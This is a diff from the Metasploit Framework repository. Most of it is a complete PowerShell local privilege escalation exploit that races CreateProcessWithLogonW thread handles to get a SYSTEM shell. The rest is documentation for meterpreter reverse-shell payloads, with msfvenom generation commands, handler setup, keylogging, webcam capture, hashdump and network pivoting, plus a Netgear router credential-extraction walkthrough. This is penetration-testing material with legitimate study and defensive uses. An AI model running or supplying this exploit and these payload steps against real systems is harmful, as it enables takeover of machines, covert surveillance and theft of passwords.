@@ -222,28 +227,29 @@ GEM
rex-random_identifier (0.1.0)
rex-text
rex-registry (0.1.0)
rex-struct2 (0.1.0)
rex-text (0.1.1)
rex-zip (0.1.0)
rex-text
rkelly-remix (0.0.6)
robots (0.10.1)
rspec-core (3.4.4)
rspec-support (~> 3.4.0)
rspec-expectations (3.4.0)
rspec-core (3.5.1)
rspec-support (~> 3.5.0)
rspec-expectations (3.5.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.4.0)
rspec-mocks (3.4.1)
rspec-support (~> 3.5.0)
rspec-mocks (3.5.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.4.0)
rspec-rails (3.4.2)
actionpack (>= 3.0, < 4.3)
activesupport (>= 3.0, < 4.3)
railties (>= 3.0, < 4.3)
rspec-core (~> 3.4.0)
rspec-expectations (~> 3.4.0)
rspec-mocks (~> 3.4.0)
rspec-support (~> 3.4.0)
rspec-support (3.4.1)
rspec-support (~> 3.5.0)
rspec-rails (3.5.1)
actionpack (>= 3.0)
activesupport (>= 3.0)
railties (>= 3.0)
rspec-core (~> 3.5.0)
rspec-expectations (~> 3.5.0)
rspec-mocks (~> 3.5.0)
rspec-support (~> 3.5.0)
rspec-support (3.5.0)
rubyntlm (0.6.0)
rubyzip (1.2.0)
sawyer (0.7.0)
@@ -251,9 +257,9 @@ GEM
faraday (~> 0.8, < 0.10)
shoulda-matchers (3.1.1)
activesupport (>= 4.0.0)
simplecov (0.11.2)
simplecov (0.12.0)
docile (~> 1.1.0)
json (~> 1.8)
json (>= 1.8, < 3)
simplecov-html (~> 0.10.0)
simplecov-html (0.10.0)
slop (3.6.0)
@@ -264,11 +270,11 @@ GEM
timecop (0.8.1)
tzinfo (1.2.2)
thread_safe (~> 0.1)
tzinfo-data (1.2016.5)
tzinfo-data (1.2016.6)
tzinfo (>= 1.0.0)
xpath (2.0.0)
nokogiri (~> 1.3)
yard (0.8.7.6)
yard (0.9.0)
PLATFORMS
ruby
+27
View File
@@ -0,0 +1,27 @@
**This should never appear in Metasploit Framework's master branch!**
The components under the unstable-* directories are unstable, in that
they are untested, unverified, or otherwise incomplete. Many may be
useful, but all require some level of work to get into the Metasploit
master branch.
In order to load the modules specifically, use:
$ ./msfconsole -m unstable-modules/
Unstable scripts and plugins may be referenced by full pathname
normally.
In order to help move these out of unstable and into the master
branch, please fork the Metasploit framework project and send pull
requests with your fixes back to the unstable branch. If you're
reading this, you already probably have a GitHub account and are
already familiar with the mechanics of forking and branching.
Specifically, you probably know everything discussed on:
https://github.com/rapid7/metasploit-framework/wiki
Thanks for taking a look at these unstable modules!
- Tod Beardsley, todb[at]metasploit[dot]com
+334
View File
@@ -0,0 +1,334 @@
# Copyright (c) 2016, Ruben Booren (@FuzzySec)
# All rights reserved
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern int GetThreadId(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
public static class Ntdll
{
[DllImport("ntdll.dll", SetLastError=true)]
public static extern int NtImpersonateThread(
IntPtr ThreadHandle,
IntPtr ThreadToImpersonate,
ref SQOS SecurityQualityOfService);
}
"@
function Get-ThreadHandle {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
$path1 = $env:windir
$path1 = "$path1\System32\cmd.exe"
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, $path1, "",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
$lpTargetHandle = [IntPtr]::Zero
$CallResult = [Kernel32]::DuplicateHandle(
$ProcessInfo.hProcess, 0x4,
[Kernel32]::GetCurrentProcess(),
[ref]$lpTargetHandle, 0, $false,
0x00000002)
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
$lpTargetHandle
}
function Get-SystemToken {
echo "`n[?] Trying thread handle: $Thread"
echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
$CallResult = [Kernel32]::SuspendThread($Thread)
if ($CallResult -ne 0) {
echo "[!] $Thread is a bad thread, moving on.."
Return
} echo "[+] Thread suspended"
echo "[>] Wiping current impersonation token"
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
if (!$CallResult) {
echo "[!] SetThreadToken failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
echo "[>] Building SYSTEM impersonation token"
# SecurityQualityOfService struct
$SQOS = New-Object SQOS
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
# Undocumented API's, I like your style Microsoft ;)
$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
if ($CallResult -ne 0) {
echo "[!] NtImpersonateThread failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
$script:SysTokenHandle = [IntPtr]::Zero
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
if (!$CallResult) {
echo "[!] OpenThreadToken failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
echo "[+] Resuming thread.."
$CallResult = [Kernel32]::ResumeThread($Thread)
}
# main() <--- ;)
# Check logical processor count, race condition requires 2+
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
if ($([System.Environment]::ProcessorCount) -lt 2) {
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
Return
}
# Create array for Threads & TID's
$ThreadArray = @()
$TidArray = @()
echo "[>] Duplicating CreateProcessWithLogonW handles.."
# Loop Get-ThreadHandle and collect thread handles with a valid TID
for ($i=0; $i -lt 500; $i++) {
$hThread = Get-ThreadHandle
$hThreadID = [Kernel32]::GetThreadId($hThread)
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
if ($TidArray -notcontains $hThreadID) {
$TidArray += $hThreadID
if ($hThread -ne 0) {
$ThreadArray += $hThread # This is what we need!
}
}
}
if ($($ThreadArray.length) -eq 0) {
echo "[!] No valid thread handles were captured, exiting!"
Return
} else {
echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
echo "`n[?] Thread handle list:"
$ThreadArray
}
echo "`n[*] Sniffing out privileged impersonation token.."
foreach ($Thread in $ThreadArray){
# Get handle to SYSTEM access token
Get-SystemToken
echo "`n[*] Sniffing out SYSTEM shell.."
echo "`n[>] Duplicating SYSTEM token"
$hDuplicateTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
# Simple PS runspace definition
echo "[>] Starting token race"
$Runspace = [runspacefactory]::CreateRunspace()
$StartTokenRace = [powershell]::Create()
$StartTokenRace.runspace = $Runspace
$Runspace.Open()
[void]$StartTokenRace.AddScript({
Param ($Thread, $hDuplicateTokenHandle)
while ($true) {
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
}
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
$AscObj = $StartTokenRace.BeginInvoke()
echo "[>] Starting process race"
# Adding a timeout (10 seconds) here to safeguard from edge-cases
$SafeGuard = [diagnostics.stopwatch]::StartNew()
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, $cmd, $args1,
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
# If we can't open the process token it's a SYSTEM shell!
if (!$CallResult) {
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
$StartTokenRace.Stop()
$SafeGuard.Stop()
Return
}
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
}
# Kill runspace & stopwatch if edge-case
$StartTokenRace.Stop()
$SafeGuard.Stop()
}
exit
+20 -5
View File
@@ -9,10 +9,25 @@ function ajax_download(oArg) {
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
}
xmlHttp.open(oArg.method, oArg.path, false);
xmlHttp.send(oArg.data);
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
return xmlHttp.responseText;
xmlHttp.open(oArg.method, oArg.path, !!oArg.cb);
if (oArg.cb) {
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4) {
oArg.cb.apply(this);
}
};
xmlHttp.send(oArg.data);
}
return null;
else {
xmlHttp.send(oArg.data);
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
return xmlHttp.responseText;
}
return null;
}
return xmlHttp;
}
@@ -1,21 +1,17 @@
## Vulnerable Application
The following list is a non-exhaustive list of vulnerable Netgear devices:
1. R6300v2 - V1.0.3.8
2. WNDR3300 - V1.0.45
3. WNDR3700v1 - V1.0.7.98
4. WNDR3700v1 - V1.0.16.98
5. WNDR3700v2 - V1.0.1.14
6. WNDR3700v4 - V1.0.1.42
7. WNDR3700v4 - V1.0.0.4SH
8. WNDR3700v4 - V1.0.1.52
9. WNDR3800 - V1.0.0.48
10. WNDR4300 - V1.0.1.60
11. WNR1000v2 - V1.0.1.1
12. WNR1000v2 - V1.1.2.58
13. WNR2000v3 - v1.1.2.10
14. WNR2200 - V1.0.1.88
15. WNR2500 - V1.0.0.24
1. R6300v2 < [1.0.3.28](http://kb.netgear.com/app/answers/detail/a_id/28372)
2. WNDR3300 - V1.0.45 (current, confirmed vuln)
3. WNDR3700v1 - 1.0.7.98, 1.0.16.98 (confirmed vuln)
4. WNDR3700v2 - 1.0.1.14 (EOL, confirmed vuln)
5. WNDR3700v4 < [1.0.2.80](http://kb.netgear.com/app/answers/detail/a_id/28355)
6. WNDR3800 - 1.0.0.48 (EOL, confirmed vuln)
7. WNDR4300 < [1.0.2.80](http://kb.netgear.com/app/answers/detail/a_id/28037)
8. WNR1000v2 - 1.0.1.1, 1.1.2.58 (EOL, confirmed vuln)
9. WNR2000v3 < [1.1.2.12](http://kb.netgear.com/app/answers/detail/a_id/30024)
10. WNR2200 < [1.0.1.96](http://kb.netgear.com/app/answers/detail/a_id/28036)
11. WNR2500 < [1.0.0.32](http://kb.netgear.com/app/answers/detail/a_id/28351)
## Verification Steps
@@ -39,11 +35,15 @@ msf auxiliary(netgear_soap_password_extractor) > run
[*] Extracting Firmware version...
[+] Model wnr2000v3 found
[+] Firmware version V1.1.2.10 found
[+] Device details downloaded to: /root/.msf4/loot/20160701181449_default_192.168.1.1_netgear_soap_dev_668524.txt
[+] Device details downloaded to: /root/.msf4/loot/20160706212637_default_192.168.1.1_netgear_soap_dev_000157.txt
[*] Extracting credentials...
[*] Credentials found, extracting...
[+] admin / password credentials found
[+] Account details downloaded to: /root/.msf4/loot/20160701181449_default_192.168.1.1_netgear_soap_acc_252579.txt
[+] Account details downloaded to: /root/.msf4/loot/20160706212637_default_192.168.1.1_netgear_soap_acc_387111.txt
[*] Extracting Wifi...
[+] Wifi SSID: NETGEAR44
[+] Wifi Encryption: WPA2-PSK
[*] Extracting WPA Keys...
[+] Wifi Password: netgearpassword22
[*] Auxiliary module execution completed
```
@@ -0,0 +1,318 @@
linux/x86/meterpreter/reverse_tcp is the most pouplar payload against the Linux platform. It allows
you to remotely take over the compromised system, having control of the file system, collect
sensitive information such as credentials using post modules, etc.
linux/x86/meterpreter/reverse_tcp is also the default payload for most Linux exploits.
## Vulnerable Application
linux/x86/meterpreter/reverse_tcp should work on either 32 or 64-bit Linux platforms.
## Deploying linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/reverse_tcp can be used in two different ways.
**As an exploit payload**
Many Linux exploits support native payloads, but not always. To check this, you can use the ```info```
command on the exploit you want to use:
```
msf exploit(lsa_transnames_heap) > info
Name: Samba lsa_io_trans_names Heap Overflow
Module: exploit/linux/samba/lsa_transnames_heap
Platform: Linux
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2007-05-14
...
```
If the platform field includes Linux, then that means you can use linux/x86/meterpreter/reverse_tcp
and other Linux payloads.
Sometimes, you need to select a specific target to be able to use a native Linux payload. To check
this, do:
```
show targets
```
If there is a Linux target, use that:
```
set TARGET [index]
```
To actually set the payload:
1. In msfconsole, load the exploit.
2. Do: ```set PAYLOAD linux/x86/meterpreter/reverse_tcp```
3. Set the ```LHOST``` option, which is the [IP the payload should connect back to](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit).
4. Run the exploit
**As a standalone executable**
To use linux/x86/meterpreter/reverse_tcp as an executable, first you can generate it with msfvenom:
```
./msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f elf -o /tmp/payload.bin
```
Before sending the exectauble to the victim machine, you need to set up the handler on your end:
1. Start msfconsole
2. Do: ```use exploit/multi/handler```
3. Do: ```set PAYLOAD linux/x86/meterpreter/reverse_tcp```
4. Do: ```set LHOST [Your IP]```
5. Do: ```run```
And that should start the listener. When the victim runs the malicious exectauble, you should
receive a session:
```
msf exploit(handler) > run
[*] Started reverse TCP handler on 172.16.23.1:4444
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 172.16.23.182
[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.182:45009) at 2016-07-06 22:40:35 -0500
meterpreter >
```
## Important Basic Commands
Here is a list of some of the common commands you might need while using the Linux Meterpreter:
**pwd**
The ```pwd``` command tells you the current working directory. For example:
```
meterpreter > pwd
/home/sinn3r/Desktop
```
**cd**
The cd command allows you to change directories. Example:
```
meterpreter > cd /tmp
```
**cat**
The cat command allows you to see the content of a file:
```
meterpreter > cat /tmp/data.txt
hello world
```
**upload**
The ```upload``` command allows you to upload a file to the remote target. For example:
```
meterpreter > upload /tmp/data.bin /home/sinn3r/Desktop
[*] uploading : /tmp/data.bin -> /home/sinn3r/Desktop
[*] uploaded : /tmp/data.bin -> /home/sinn3r/Desktop/data.bin
meterpreter >
```
**download**
The ```download``` command allows you to download a file from the remote target to your machine. For example:
```
meterpreter > download /home/sinn3r/Desktop/data.bin /tmp
[*] downloading: /home/sinn3r/Desktop/data.bin -> /tmp/data.bin
[*] download : /home/sinn3r/Desktop/data.bin -> /tmp/data.bin
```
**ifconfig/ipconfig**
```ifconfig``` and ```ipconfig``` are actually the same thing. They allow you to see the network
interfaces on the remote machine.
**getuid**
The getuid command tells you the current user that Meterpreter is running on. For example:
```
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000
```
**execute**
The ```execute``` command allows you to execute a command or file on the remote machine.
For example:
```
meterpreter > execute -f echo -a "hello > /tmp/hello.txt"
Process 5292 created.
```
**ps**
The ```ps``` command lists the running processes on the remote machine.
**shell**
The shell command allows you to interact with the remote machine's terminal (or shell). For
example:
```
meterpreter > shell
Process 5302 created.
Channel 6 created.
$
```
If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.
**sysinfo**
The sysinfo command shows you basic information about the remote machine. Such as:
* Computer name
* OS name
* Architecture
* Meterpreter type
For example:
```
meterpreter > sysinfo
Computer : sinn3r-virtual-machine
OS : Linux sinn3r-virtual-machine 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 (i686)
Architecture : i686
Meterpreter : x86/linux
meterpreter >
```
**Other commands**
For a complete list of Linux Meterpreter commands, do the following at the prompt:
```
meterpreter > help
```
## Using a Post module
One of the best things about Meterprter is you have access to a variety of post modules that
"shell" sessions might not have. Post modules provide you with more capabilities to collect data
from the remote machine automatically. For example, stealing credentials from the system or
third-party applications, or modify settings, etc.
To use a post module from the Meterpreter prompt, simply use the ```run``` command. The following
is an example of collecting Linux hashes using post/linux/gather/hashdump:
```
meterpreter > run post/linux/gather/hashdump
[+] root:$6$cq9dV0jD$DZNrPKKIzcJaJ1r1xzdePEJTzn5f2V5lm9CnSdkMRPJfYy7QVx2orpzlf1XXBbIRZs7kT9CmYEMApfUIrWZsj/:0:0:root:/root:/bin/bash
[+] sinn3r:$6$S5lRz0Ji$bS0rOko3EVsAXwqR1rNcE/EhpnezmKH08Yioxyz/gLZAGh3AoyV5qCglvHx.vSINJNqs1.xhJix3pWX7jw8n0/:1000:1000:sinn3r,,,:/home/sinn3r:/bin/bash
[+] Unshadowed Password File: /Users/wchen/.msf4/loot/20160707112433_http_172.16.23.182_linux.hashes_845236.txt
meterpreter >
```
Note that in order to collect Linux hashes, Meterpreter needs to run as root.
## Using the Post Exploitation API in IRB
To enter IRB, do the following at the Meterpreter prompt:
```
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>>
```
**The client object**
The client object in Meterpreter allows you to control or retrieve information about the host. For
example, this allows you to get the current privilege our payload is running as:
```
>> client.sys.config.getuid
=> "uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000"
```
To explore the client object, there are a few tricks. For example, you can use the #inspect method
to inspect it:
```
>> client.inspect
```
You can also use the #methods method to see what methods you can use:
```
>> client.methods
```
To review the source of the method, you can use the #source_location method. For example, say we
want to see the source code for the #getuid method:
```
>> client.sys.config.method(:getuid).source_location
=> ["/Users/sinn3r/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32]
```
The first element of the array is the location of the file. The second is the line number of the
method.
## Routing Through the portfwd Commands
The ```portfwd``` command allows you to talk to a remote service like it's local. For example, if you
cannot talk to the blocked HTTP service remotely on the compromised host due to whatever reason,
then you can use portfwd to establish that tunnel:
```
meterpreter > portfwd add -l 8000 -p 8000 -r 172.16.23.182
[*] Local TCP relay created: :8000 <-> 172.16.23.182:8000
```
And then talk to it like it's a local service:
```
msf auxiliary(http_version) > run
[*] 127.0.0.1:8000 SimpleHTTP/0.6 Python/2.7.6
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(http_version) >
```
## Routing Through msfconsole
The ```route``` command from the msf prompt can also be used like portfwd, but it also allows you
to reach out to other networks that the compromised host is connected to.
To use ```route```, first look at the ipconfig/ifconfig output and determine your pivot point:
```
meterpreter > ipconfig
```
Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt, and establish that route:
```
msf > route add 192.168.1.0 255.255.255.0 1
```
At that point, you should have a working pivot. You can use other Metasploit modules to explore
or exploit more hosts on the network, or use auxiliary/server/socks4a and [Proxychains](http://proxychains.sourceforge.net/) to
allow other third-party tools to do the same.
@@ -0,0 +1,509 @@
windows/meterpreter/reverse_https is a unique Windows payload for Metasploit Framework. It
is capable of doing things like remotely control the file system, sniff, keylog, hashdump,
pivoting, run extensions, etc. But the real strength of this is the way it talks to the
attacker.
Instead of a stream-based communication model (tied to a specific TCP session), the stager
provides a packet-based transaction system instead. You know, kind of like a botnet that we
see today. The use of HTTPS also makes the payload communication a little bit harder to detect.
## Vulnerable Application
This Meterpreter payload is suitable for the following environments:
* Windows x64
* Windows x86
## Deploying windows/meterpreter/reverse_https
windows/meterpreter/revese_https can be used in two different ways.
**As an exploit payload**
To check if windows/meterpreter/reverse_https is compatible with the exploit or not, first you can
use the ```info``` command on the exploit you want to use:
```
msf exploit(ms08_067_netapi) > info
Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
Module: exploit/windows/smb/ms08_067_netapi
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2008-10-28
...
```
If the platform field includes Windows, then you can use windows/meterpreter/reverse_https as the
payload.
Depending on the module, sometimes you have to select a specific target by first checking the
target list, like the following:
```
show targets
```
If there is a Windows target, use that:
```
set TARGET [index]
```
To actually set the payload:
1. In msfconsole, load the exploit.
2. Do: ```set PAYLOAD windows/meterpreter/reverse_https```
3. Set the ```LHOST``` OPTION WHICH, which [IP the same the payload connect to](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit).
4. Run th exploit
**As a standalone**
To generate windows/meterpreter/reverse_https, you can do this from msfvenom:
```
./msfvenom -p windows/meterpreter/reverse_https lhost=172.16.23.1 lport=4444 -f exe -o /tmp/https.exe
```
## Important Basic Commands
**pwd command**
The ```pwd``` command allows you to see the current directory you're in on the remote target.
Example:
```
meterpreter > pwd
C:\Users\sinn3r\Desktop
```
**cd command**
The ```cd``` command allows you to change directories. Example:
```
meterpreter > cd C:\\
```
**cat command**
The ```cat``` command allows you to see the content of a file:
```
meterpreter > cat data.txt
Hello World
```
**upload command**
The ```upload``` command allows you to upload a file to the remote target. For example:
```
meterpreter > upload /tmp/payload.exe C:\\Users\\sinn3r\\Desktop
[*] uploading : /tmp/payload.exe -> C:\Users\sinn3r\Desktop
[*] uploaded : /tmp/payload.exe -> C:\Users\sinn3r\Desktop\payload.exe
meterpreter >
```
The ```-r``` option for the command also allows you to upload recursively.
**download command**
The ```download``` command allows you download a file from the remote target to your machine.
For example:
```
meterpreter > download C:\\Users\\sinn3r\\Desktop\\password.txt
[*] downloading: C:\Users\sinn3r\Desktop\password.txt -> password.txt
[*] download : C:\Users\sinn3r\Desktop\password.txt -> password.txt
```
**search command**
The ```search``` command allows you to find files on the remote file system. For example, this
demonstrates how to find all text files in the current directory:
```
meterpreter > search -d . -f *.txt
Found 1 result...
.\password.txt (11 bytes)
```
Note that without the ```-d``` option, the command will attempt to search in all drives.
The ```-r``` option for the commands allows you to search recursively.
**ifconfig/ipconfig command**
The ```ifconfig``` command displays the network interfaces on the remote machine:
```
meterpreter > ipconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 2
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:eb:33:d9
MTU : 1500
IPv4 Address : 172.16.23.185
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::5911:c25:bd50:5a6d
IPv6 Netmask : ffff:ffff:ffff:ffff::
meterpreter >
```
The command ```ipconfig``` is an alias for ```ifconfig```.
**getuid command**
The ```getuid``` command shows you the current user that the payload is running as:
```
meterpreter > getuid
Server username: WIN-6NH0Q8CJQVM\sinn3r
```
**execute command**
The ```execute``` command allows you to execute a command or file on the remote machine.
The following example will spawn a calculator:
```
meterpreter > execute -f calc.exe
Process 2020 created.
```
**ps command**
The ```ps``` command lists the running processes on the remote machine.
**shell command**
The ```shell``` command allows you to interact with the remote machine's command prompt. Example:
```
meterpreter > shell
Process 2872 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\sinn3r\Desktop>
```
**sysinfo command**
The ```sysinfo``` command shows you basic information about the remote machine. Example:
```
meterpreter > sysinfo
Computer : WIN-6NH0Q8CJQVM
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
meterpreter >
```
**keyscan command**
The ```keyscan_start``` command starts the keylogging feature on the remote machine.
**keyscan_dump command**
The ```keyscan_dump``` command is a keylogger feature. You must use the ```keyscan_start``` command
before using this. Example:
```
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
hello world!
meterpreter >
```
**keyscan_stop command**
The ```keyscan_stop``` command stops the keylogger.
**screenshot command**
The ```screenshot``` command takes a screenshot of the target machine.
**webcan_list command**
The ```webcam_list``` commands shows you a list of webcams that you can control. You'll
probably want to use this first before using any other webcam commands.
**webcam_snap command**
The ```webcam_snap``` commands uses the selected webcam to take a picture.
**webcam_stream command**
The ```webcam_stream``` command basically uses the ```webcam_snap``` command repeatedly to create
the streaming effect. There is no sound.
**record_mic command**
The ```record_mic``` command captures audio on the remote machine.
**getsystem command**
The ```getsystem``` command attempts to elevate your privilege on the remote machine with one of
these techniques:
* Named pipe impersonation (in memory)
* Named pipe impersonation (dropper)
* Token duplication (in memory)
Example:
```
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
```
**hashdump command**
The ```hashdump``` commands allows you to dump the Windows hashes if there are the right privileges.
For sxample:
```
meterpreter > hashdump
Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:92a84e332fa4b09e9850257ad6826566:8fb9a6e155fd6e14a16c37427b68bbb4:::
root:1003:633c097a37b26c0caad3b435b51404ee:f2477a144dff4f216ab81f2ac3e3207d:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:e09fcdea29d93203c925b205640421f2:::
```
**detach command**
